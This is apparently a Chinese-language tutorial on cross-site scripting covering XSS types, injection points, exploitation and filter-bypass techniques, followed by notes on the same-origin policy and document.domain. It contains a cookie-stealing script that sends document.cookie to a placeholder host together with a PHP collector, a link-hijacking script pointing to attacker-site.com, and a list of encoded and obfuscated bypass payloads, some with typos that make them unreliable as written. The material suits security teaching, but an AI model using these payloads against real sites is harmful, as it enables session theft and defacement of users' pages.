目录
xss简介
跨站脚本攻击(Cross Site Scriptong),为了不和层叠样式表(Cascading Style Sheels)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页时,嵌入期中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss分类
- 反射型XSS
- 存储型XSS
- DOM型XSS
xss发生的位置
- GET型URL中的xss
- json 中的xss
- 自定义http头的xss
实例演示-xss利用
xss盗取cookie
代码: <script>document.location=http://ip/cookie.php?cookie="+document.cookie;"</script>
cookie.php代码
<?php
$cookie=$_GET["cookie"];
file_put_concents('cookie.txt',$cookie);
?>
xss篡改网页链接
代码:<script>window.onload = function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="http://attacker-site.com";}
}</script>
通过HTMl事件来触发XSS
代码:" οnmοuseοver="alert(document.domain)
绕过技术
绕过替换为空的xss
双写绕过
代码:<scscriptript>alert("xss")</scscriptript>
编码绕过
编码:<script>eval(atob(base64))</script>
伪协议绕过
代码:<a hrrf="javascript:alert(document.cookie)">xss</a>
空格绕过
代码: <sc ript>alert("xss")</s cript>
利用IE特性绕过
IE中 两个反引号``可以闭合左边双引号 `` οnmοuseοver=alert("xss")
利用 css特性绕过
background-color:#f00;backbround:url("javascript:alert("xss");");
注释绕过关键字过滤
expres/**/sion(if(!window.x){alert(document.domain);window.x=1})
\\+16进制绕过对"<>"的过滤
代码: \\x3cscript\\x3ealert("xss")\\x3c\script\\x3e
\\+unicode绕过对"<>"的过滤
代码:\\u3cscript\\u3ealert("xss")\\u3c\script\\u3e
源的含义
源由协议,主机名,端口名组成
范例:协议://主机名:端口号/
同源策略
在计算机中,同源策略用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面
只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源,所以a.com下的js脚本采用ajax读取b.com里面的文件数据会报错
IE源特殊处理
- 1.位于可信域的互信的域名间,不受同源策略限制
- 2.ie判断同源时不会考虑端口
可是通过document.domain读取或修改源。但是有限制。修改之后的源不能通过其他脚本再次修改
domain属性可以解决因安全策略带来的不同文档的属性共享问题。降域 document.domain同源策略认为域和子域属于不同的域,比如:child1.a.com 域 a.com 是不同源
可以通过设置document.domain='a.com' ,浏览器就会认为它们都是同一源。想要实现以上两个任意页面之间的通信,两个页面必须都设置document.domain='a.com'